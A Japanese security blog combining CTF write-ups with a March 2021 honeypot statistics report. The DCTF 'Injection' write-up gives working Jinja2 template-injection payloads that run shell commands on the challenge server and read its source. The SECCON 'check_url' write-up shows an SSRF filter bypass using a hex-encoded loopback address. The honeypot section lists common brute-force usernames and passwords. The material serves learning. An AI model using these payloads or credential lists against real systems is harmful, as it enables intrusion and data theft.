< X-Powered-By: PHP/7.4.19
< Content-Length: 45
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host dctf1-chall-very-secure-site.westeurope.azurecontainer.io left intact
dctf{It's_magic._I_ain't_gotta_explain_shit.} 
flag : dctf{It's_magic._I_ain't_gotta_explain_shit.}

Injection

Our local pharmacy exposed admin login to the public, can you exploit it?

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

指定されたURLへアクセスすると注射器の画面とユーザ名/パスワードの画面が表示される。

┌──(root💀kali)-[/home/kali]
└─# curl -v http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/                                              
*   Trying 20.76.104.236:8080...
* Connected to dctf1-chall-injection.westeurope.azurecontainer.io (20.76.104.236) port 8080 (#0)
> GET / HTTP/1.1
> Host: dctf1-chall-injection.westeurope.azurecontainer.io:8080
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 812
< Content-Type: text/html; charset=utf-8
< Date: Sat, 15 May 2021 04:10:23 GMT
< Server: waitress
< 

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
    img {
    display: block;
    margin-left: auto;
    margin-right: auto;
    }
    fieldset{
    border: 1px solid;
    width: 400px;
    margin:auto;
    }
    </style>
</head>
<body>
    <img src="/static/index.png">
    <form id='login' action='login' method='post' accept-charset='UTF-8'>
        <fieldset>
            <legend>Admin Login</legend>
            User:<br />
            <input type='text' name='username' id='username'  maxlength="50" /><br />
            Password:<br />
            <input type='password' name='password' id='password' maxlength="50" /><br />
            <input type='submit' name='Submit' value='Submit' />
        </fieldset>
    </form>
</body>
* Connection #0 to host dctf1-chall-injection.westeurope.azurecontainer.io left intact
</html>                                                                                                                               

当初、SQLインジェクションの入力値を試すもヒットせず。試しにSSTIの入力値を試したところ、脆弱性が見つかった。

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Bconfig%7D%7D

Oops! Page <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'MESSAGE': 'You are getting closer!'}> doesn't exist :(

この後はSSTIの流れで確認を進めていく。
※以下Writeupを参考にさせて頂きました。

ctftime.org

①jinja2の特定

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7B__selt__.__doc__%7D%7D

Oops! Page The default undefined type. This undefined type can be printed and iterated over, but every other access will raise an :exc:`UndefinedError`: >>> foo = Undefined(name='foo') >>> str(foo) '' >>> not foo True >>> foo + 42 Traceback (most recent call last): ... jinja2.exceptions.UndefinedError: 'foo' is undefined doesn't exist :(

current_appの確認

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__%7D%7D

Oops! Page {'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: 2010 Pallets\n :license: BSD-3-Clause\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f267eabf760>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f267eabf760>, origin='/usr/local/lib/python3.9/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.9/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.9/site-packages/flask/__pycache__/helpers.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'io': <module 'io' from '/usr/local/lib/python3.9/io.py'>, 'mimetypes': <module 'mimetypes' from '/usr/local/lib/python3.9/mimetypes.py'>, 'os': <module 'os' from '/usr/local/lib/python3.9/os.py'>, 'pkgutil': <module 'pkgutil' from '/usr/local/lib/python3.9/pkgutil.py'>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python3.9/posixpath.py'>, 'socket': <module 'socket' from '/usr/local/lib/python3.9/socket.py'>, 'sys': <module 'sys' (built-in)>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python3.9/lib-dynload/unicodedata.cpython-39-x86_64-linux-gnu.so'>, 'update_wrapper': <function update_wrapper at 0x7f267fdab430>, 'RLock': <function RLock at 0x7f267fd1b1f0>, 'time': <built-in function time>, 'adler32': <built-in function adler32>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7f267f2d1c10>, 'wrap_file': <function wrap_file at 0x7f267ee4e4c0>, 'fspath': <built-in function fspath>, 'PY2': False, 'string_types': (<class 'str'>,), 'text_type': <class 'str'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f267ed0c5e0>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f267ed0c220>, 'current_app': <Flask 'app'>, 'request': <Request 'http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__%7D%7D' [GET]>, 'session': <NullSession {}>, 'message_flashed': <flask.signals._FakeSignal object at 0x7f267ea81cd0>, '_missing': <object object at 0x7f267ef094b0>, '_os_alt_seps': [], 'get_env': <function get_env at 0x7f267eaaee50>, 'get_debug_flag': <function get_debug_flag at 0x7f267eaaeee0>, 'get_load_dotenv': <function get_load_dotenv at 0x7f267ea9b1f0>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f267ea9b280>, 'stream_with_context': <function stream_with_context at 0x7f267ea9b310>, 'make_response': <function make_response at 0x7f267ea9b3a0>, 'url_for': <function url_for at 0x7f267ea9b430>, 'get_template_attribute': <function get_template_attribute at 0x7f267ea9b4c0>, 'flash': <function flash at 0x7f267ea9b550>, 'get_flashed_messages': <function get_flashed_messages at 0x7f267ea9b5e0>, 'send_file': <function send_file at 0x7f267ea9b670>, 'safe_join': <function safe_join at 0x7f267ea9b700>, 'send_from_directory': <function send_from_directory at 0x7f267ea9b790>, 'get_root_path': <function get_root_path at 0x7f267ea9b820>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f267ea9b8b0>, '_find_package_path': <function _find_package_path at 0x7f267ea9b940>, 'find_package': <function find_package at 0x7f267ea9b9d0>, 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'total_seconds': <function total_seconds at 0x7f267ea9ba60>, 'is_ip': <function is_ip at 0x7f267ea9d1f0>} doesn't exist :(

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__.current_app.__dict__%7D%7D

Oops! Page {'import_name': '__main__', 'template_folder': 'templates', 'root_path': '/app', '_static_folder': 'static', '_static_url_path': None, 'cli': <AppGroup app>, 'instance_path': '/app/instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'MESSAGE': 'You are getting closer!'}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'index': <function index at 0x7f267ec2f5e0>}, 'error_handler_spec': {None: {404: {<class 'werkzeug.exceptions.NotFound'>: <function page_not_found at 0x7f267ec2f550>}}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7f267ea8a430>]}, 'shell_context_processors': [], 'blueprints': {}, '_blueprint_order': [], 'extensions': {}, 'url_map': Map([<Rule '/' (OPTIONS, HEAD, GET) -> index>, <Rule '/static/<filename>' (OPTIONS, HEAD, GET) -> static>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7f267fe60870>, 'name': 'app', 'jinja_env': <flask.templating.Environment object at 0x7f267ebbc7f0>, 'logger': <Logger app (WARNING)>} doesn't exist :(

③OSコマンドインジェクションの確認

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__.os.__dict__.popen('ls%20-al%20/').read()%7D%7D

<h1>Oops! Page total 72
drwxr-xr-x    1 root     root          4096 May 15 06:30 .
drwxr-xr-x    1 root     root          4096 May 15 06:30 ..
-rwxr-xr-x    1 root     root             0 May 15 06:30 .dockerenv
dr-xr-xr-x    1 root     root          4096 May 14 01:33 app
drwxr-xr-x    1 root     root          4096 Apr  1 09:14 bin
drwxr-xr-x    5 root     root           360 May 15 06:30 dev
drwxr-xr-x    1 root     root          4096 May 15 06:30 etc
drwxr-xr-x    2 root     root          4096 Mar 31 16:51 home
drwxr-xr-x    1 root     root          4096 Apr  1 09:14 lib
drwxr-xr-x    5 root     root          4096 Mar 31 16:51 media
drwxr-xr-x    2 root     root          4096 Mar 31 16:51 mnt
drwxr-xr-x    2 root     root          4096 Mar 31 16:51 opt
dr-xr-xr-x  171 root     root             0 May 15 06:30 proc
-rw-r--r--    1 root     root           112 May 14 01:32 requirements.txt
drwx------    1 root     root          4096 May 14 01:33 root
drwxr-xr-x    2 root     root          4096 Mar 31 16:51 run
drwxr-xr-x    1 root     root          4096 Apr  1 09:14 sbin
drwxr-xr-x    2 root     root          4096 Mar 31 16:51 srv
dr-xr-xr-x   12 root     root             0 May 15 06:29 sys
drwxrwxrwt    1 root     root          4096 May 15 06:41 tmp
drwxr-xr-x    1 root     root          4096 Apr  1 09:14 usr
drwxr-xr-x    1 root     root          4096 May 15 06:30 var
 doesn't exist :(</h1>

④/app/libフォルダ配下のsecurity.pyを確認する。

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/%7B%7Burl_for.__globals__.os.__dict__.popen('cat%20/app/lib/security.py').read()%7D%7D

<h1>Oops! Page import base64

def validate_login(username, password):
    if username != &#39;admin&#39;:
        return False
    
    valid_password = &#39;QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ&#39;
    return base64.b64encode(password.encode(&#39;ascii&#39;)).decode(&#39;ascii&#39;)[::-1].lstrip(&#39;=&#39;) == valid_password

 doesn't exist :(</h1>

⑤入力したパスワードをbase64エンコードした後に逆順にした結果がQfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZと等しくなればログインできそう。

┌──(root💀kali)-[/home/kali/Desktop]
└─# echo -n "QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ" | rev 
ZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ                                                                                             
┌──(root💀kali)-[/home/kali/Desktop]
└─# echo -n "ZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ" | base64 -d
dctf{4ll_us3r_1nput_1s_3v1l}base64: 無効な入力

パスワードがflagになっていた。

※実際はlstripで==が除去されているのでZGN0Zns0bGxfdXMzcl8xbnB1dF8xc18zdjFsfQ==が正しい。
※app.pyのログイン処理はコメント化されており、admin/dctf{4ll_us3r_1nput_1s_3v1l}のアカウントでログインはできない。

解きたかった問題

DevOps vs SecOps(Web) ・・・チームのBossが既に解いていた。
Cartooner ・・・時間が無くて解けず。

感想

・「CTFは1日1時間。外で働こう元気良く。僕らの仕事はもちろんSI。売り上げ上がればCTFも楽しい。僕らは未来の管理職」... CTFの時間がなかなか取れないです。

SECCON Beginners CTF 2021 - Writeup

5/22(土) 14:00 JST~5/23(日) 14:00 JSTに開催されたSECCON Beginners CTF 2021 に会社のチームで参加した。 チームの他の方がスラスラ解くのを横目に1問だけ解いたので、以下にWriteupを記載する。

Web

check_url

Have you ever used  curl  ?  
    
想定難易度: Easy

指定されたURLへアクセスすると入力したURLのサイトを確認する画面が表示される。ソースコードは以下の通り。

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

①SSRFを実行し、$_SERVER["REMOTE_ADDR"]で接続したIPが127.0.0.1と判定されればflagが表示される。

            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";

②アクセスしたURLがhttps://www.example.com出ない場合、英数字以外が👻へ置換される。

              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing

③URLにlocalhostまたはapacheの文字が含まれているとdo not hack meで拒否される。

              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");

SSRFに関する参考文献を元に確認してみる。

speakerdeck.com

10スライド目の記載にあるように、例えSuper sanitizingされていてもブラックリスト的な対策は、抜け道が多く突破されてしまう。

127.0.0.1を10進数変換 ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://2130706433

127.0.0.1を0で表現  ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://0/

127.0.0.1を16進数変換 ⇒ OK (200)

root@kali:~# curl -k https://check-url.quals.beginners.seccon.jp/?url=https://0x7F000001
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/>
  <title>c(heck)_url</title>

  <!-- CSS  -->
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
  <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>
<body>

  <nav class="light-blue lighten-1" role="navigation">
    <div class="nav-wrapper container">
      <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a>
    </div>
  </nav>

  <div class="section no-pad-bot" id="index-banner">
    <div class="container">
      <br><br>
      <h1 class="header center orange-text">c(heck)_url</h1>
      <div class="row center">
        <h5 class="header col s12 light">
        You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br>
          Here, take this<br>URL: https://0x7F000001<br><iframe srcdoc='<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/>
  <title>c(heck)_url</title>

  <!-- CSS  -->
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
  <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>
<body>

  <nav class="light-blue lighten-1" role="navigation">
    <div class="nav-wrapper container">
      <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a>
    </div>
  </nav>

  <div class="section no-pad-bot" id="index-banner">
    <div class="container">
      <br><br>
      <h1 class="header center orange-text">c(heck)_url</h1>
      <div class="row center">
        <h5 class="header col s12 light">
        You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br>
          Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}        </h5>
      </div>

    </div>
  </div>


  <!--  Scripts-->
  <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="js/materialize.min.js"></script>
  <script src="js/init.js"></script>

  </body>
</html>
' width='750' height='500'></iframe>        </h5>
      </div>

    </div>
  </div>


  <!--  Scripts-->
  <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="js/materialize.min.js"></script>
  <script src="js/init.js"></script>

  </body>
</html>
flag : ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

解きたかった問題

json (Web) ・・・ユーザからのhttpアクセスをnginxのリバプロで受けて → bff → api の処理とbff上の処理をbypassさせるところまでは理解していた。「2重keyを含むjsonのパーサー解釈不一致」を理解できれば解けていた。{"id":0, "id":2}は試してたけど、{"id":2, "id":0}を試してなかった。 ... orz。チームの他の方が解かれていたので、チームとしては取りこぼし無かったのが救い。
magic (Web) ・・・時間内に取り組めなかったので、復習予定。

感想

check_url にて、SSRF対策はブラックリスト形式はNG であるということが体感出来たので参考になった。

ハニーポット運用(月次報告:2021年3月)

今月のTopics

2021/3/23 LINE株式会社にて社内の個人情報の取扱いに対する説明会見が行われた。

linecorp.com

www.security-next.com

業務委託先の中国拠点からLINEトーク内の画像・動画・ファイルデータに加えて、LINE Payの決済情報や加盟店の銀行口座番号を含む企業情報へアクセスできる状態であった。また、LINE社から自治体向けの説明にて、取り扱う個人情報は日本国内のデータセンタで管理する説明があり、事実と異なる点があった。
顛末を受け、3/19までに総務省にてLINEの利用を停止すると共に3/26までに各自治体でのLINE利用について各自治体向けに実態調査が行われた。

www.soumu.go.jp

active.nikkeibp.co.jp

LINE株式会社では4/19に総務省に対し個人情報の取り組み改善策について説明を行う予定となっている。

オフショア開発などクラウドサービスを利用た開発をする場合にて、パラメータ設定誤りや認識不足により簡単に国外へデータを持ち出せてしまうため、
輸出禁止の申請書に誓約をしておきながら、気付かない内に国外へデータが持ち出していたというような問題にならないように個人情報のデータ管理には 改めて気を付けたいところである。

今月のChangelog

3月は無し。

前提条件

運用日時:2021年3月1日-2021年3月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
No ハニーポット 件数 先月比
1 Dionaea 5,903,126 △760,920
2 Cowrie 4,449,041 ▲105,647
3 Heralding 756,819 △84,763
4 Honeytrap 352,790 ▲749,719
5 Rdpy 101,881 ▲7,524
6 Mailoney 25,771 △17,299
7 Adbhoney 15,616 △8,124
8 Tanner 6,894 △3,382
9 Ciscoasa 2,526 △852
10 ConPot 1,499 △723
11 CitrixHoneypot 1,394 △130
12 ElasticPot 976 △118
13 Medpot 197 △143
  • Result
    • Honeytrapへのアクセス件数が70%減少した。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Ireland 1,622,087 1(→)
2 Russia 1,224,947 2(→)
3 Vietnam 1,039,462 3(→)
4 China 855,626 6(↑)
5 Netherlands 783,929 7(↑)
6 India 728,853 3(↓)
7 United States 456,397 5(↓)
8 Panama 438,417 8(→)
9 Brazil 366,890 9(→)
10 Indonesia 283,992 10(→)
11 Venezuela 244,373 12(↑)
12 Turkey 231,087 13(↑)
13 Thailand 216,775 15(↑)
14 Taiwan 212,371 14(→)
15 Mexico 157,163 16(↑)
16 Egypt 156,149 圏外(↑)
17 Pakistan 151,963 18(↑)
18 Bulgaria 144,875 17(↓)
19 Ukraine 129,869 圏外(↑)
20 Philippines 103,986 圏外(↑)
  • Result
    • 先月と同じアクセス件数の順位で推移していた。
    • エジプト(16位)、ウクライナ(19位)、フィリピン(20位)がランクイン

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID CNT
1 CVE-2020-11899 3,860,827
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 257
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 37
4 CVE-2020-14882 CVE-2020-14882 2
5 CVE-2020-11910 1
6 CVE-2020-8515 CVE-2020-8515 1
  • Result
    • 新規の攻撃は無し。

④よく攻撃されたユーザ名
  • ユーザ名でよく攻撃されたキーワード(Top 50)を記載する。
No ユーザ名 件数
1 root 309,739
2 admin 119,314
3 user 33,115
4 support 21,872
5 test 10,499
6 101 6,388
7 nproc 5,452
8 sa 3,013
9 guest 2,811
10 ubuntu 2,386
11 postgres 2,357
12 22 1,528
13 Admin 1,400
14 oracle 1,266
15 git 1,146
16 ftpuser 1,073
17 student 962
18 ubnt 906
19 deploy 718
20 minecraft 670
21 testuser 633
22 mysql 593
23 user1 559
24 www 547
25 server 545
26 494
27 teamspeak 491
28 ftp 489
29 jenkins 487
30 administrator 457
31 ts3 447
32 web 432
33 hadoop 421
34 nagios 394
35 tomcat 387
36 dev 378
37 sysadmin 369
38 666666 361
39 alex 358
40 steam 334
41 ts 328
42 odoo 320
43 test1 320
44 debian 308
45 vnc 300
46 sinusbot 299
47 vbox 289
48 webmaster 277
49 tester 275
50 teamspeak3 263
  • Result
    • 先月から変更なし

⑤よく攻撃されたパスワード
  • パスワードでよく攻撃されたキーワード(Top 50)を記載する。
No パスワード 件数
1 admin 238,732
2 root 32,022
3 user 24,748
4 support 21,351
5 & 13,741
6 123456 9,787
7 101 6,328
8 password 5,951
9 nproc 5,452
10 1234 4,276
11 4,107
12 test 4,075
13 123 3,491
14 12345 1,843
15 1 1,643
16 ubnt 1,253
17 guest 1,220
18 Admin 1,197
19 12345678 1,126
20 aqweasdfgfdgfdh 1,004
21 123123 853
22 1q2w3e4r 720
23 123456789 644
